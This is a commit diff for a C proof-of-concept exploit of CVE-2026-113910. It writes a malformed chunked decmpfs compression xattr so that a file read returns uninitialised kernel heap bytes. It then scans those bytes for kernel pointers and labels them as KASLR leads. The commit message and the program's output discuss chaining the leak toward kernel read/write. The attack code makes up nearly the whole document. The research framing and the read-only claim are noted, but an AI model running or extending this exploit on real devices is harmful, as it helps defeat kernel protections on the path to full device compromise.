kernel R/W assessment for the high/critical entries

- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six
  kernel-reachable bugs supplies both address and value control; the chain
  requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry
- CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical
  pointer classification (kernel-text / kernel-data / kernel-other), --keep
  raw dump, --verbose; candidates are printed, never dereferenced
- 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset
  write without leak, honest negative); no blind writes
- README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
This commit is contained in:
JBJF committed 2026-10-31 15:37:58 +08:00
1 parent ed682e859b
commit c30aadf9bb
7 files changed
+283 -46

No files matched your search

+133 -44
View File
@@ -2,9 +2,14 @@
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
// reads the file back and classifies every canonical kernel pointer in the result.
//
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
// readback for offline analysis. Candidates are printed, never dereferenced.
//
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
#include <stdio.h>
#include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
return out;
}
// ── trigger: xattr round trip + kernel-pointer scan ──
// ── leak classification ──
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
// Anything that looks like a tagged userspace pointer is reported separately; it is
// not a KASLR lead. Values are only ever printed.
enum ptr_class {
PTR_NONE = 0,
PTR_KERNEL_TEXT,
PTR_KERNEL_DATA,
PTR_KERNEL_OTHER,
PTR_USER,
};
static const char *class_name(int c) {
switch (c) {
case PTR_KERNEL_TEXT: return "kernel-text";
case PTR_KERNEL_DATA: return "kernel-data";
case PTR_KERNEL_OTHER: return "kernel-other";
case PTR_USER: return "user";
default: return "-";
}
}
static int classify(uint64_t v) {
if (v == 0) return PTR_NONE;
if ((v >> 48) == 0xffff) {
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
return PTR_KERNEL_OTHER;
}
if ((v >> 48) == 0x0000) return PTR_USER;
return PTR_NONE;
}
typedef struct {
int wrote_xattr;
long read_back;
long hits;
char samples[8][32];
long by_class[5];
char samples[8][40];
int nsamples;
char note[128];
} decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
if (r->nsamples >= 8) return;
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
(unsigned long long)v, off, class_name(cls));
r->nsamples++;
}
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
FILE *keep, int verbose) {
decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t zeros[4096];
memset(zeros, 0x41, sizeof zeros);
uint8_t fill[4096];
memset(fill, 0x41, sizeof fill);
size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros;
if (write(fd, zeros, take) != (ssize_t)take) break;
size_t take = left < sizeof fill ? left : sizeof fill;
if (write(fd, fill, take) != (ssize_t)take) break;
left -= take;
}
close(fd);
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
}
r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb");
if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
fclose(f);
r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back
if (back.n >= 8) {
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
if (v >= 0xFFFFFFE000000000ULL) {
r.hits++;
if (r.nsamples < 8) {
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
(unsigned long long)v, i);
r.nsamples++;
}
}
if (keep) {
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
chunks, produce, uncompressed, back.n);
if (back.n) fwrite(back.d, 1, back.n, keep);
fputc('\n', keep);
}
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
int cls = classify(v);
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
r.hits++;
r.by_class[cls]++;
note_sample(&r, v, i, cls);
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
}
}
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
return r;
}
int main(void) {
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[4] = {
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
};
long total_hits = 0;
int main(int argc, char **argv) {
int loop = 1;
int verbose = 0;
const char *keep_path = NULL;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
}
if (loop < 1) loop = 1;
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[] = {
{1, 0}, {1, 1}, {2, 1}, {4, 1},
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
};
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
if (keep) {
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
}
long total_hits = 0;
long by_class[5] = {0};
long runs = 0;
printf("— baseline: what a plain file reads back —\n");
{
unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
}
printf("\n— chunked xattr round trip —\n");
for (int i = 0; i < 4; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
total_hits += r.hits;
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
if (r.nsamples > 0) {
printf(" candidates:");
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
printf("\n");
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
for (int l = 0; l < loop; l++) {
for (int i = 0; i < ncfg; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
keep, verbose);
runs++;
total_hits += r.hits;
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
if (r.hits > 0 || verbose) {
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
}
}
}
// Class totals are what matter here; the raw bytes are in --keep for offline work.
unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
: "no kernel pointers surfaced (read was served plain)");
return 0;
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
printf("\n== leak summary ==\n");
printf("runs=%ld hits=%ld\n", runs, total_hits);
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
if (total_hits > 0) {
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
printf("whether the same chunk table can be pointed at that slot again.\n");
} else {
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
}
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
return total_hits > 0 ? 0 : 0;
}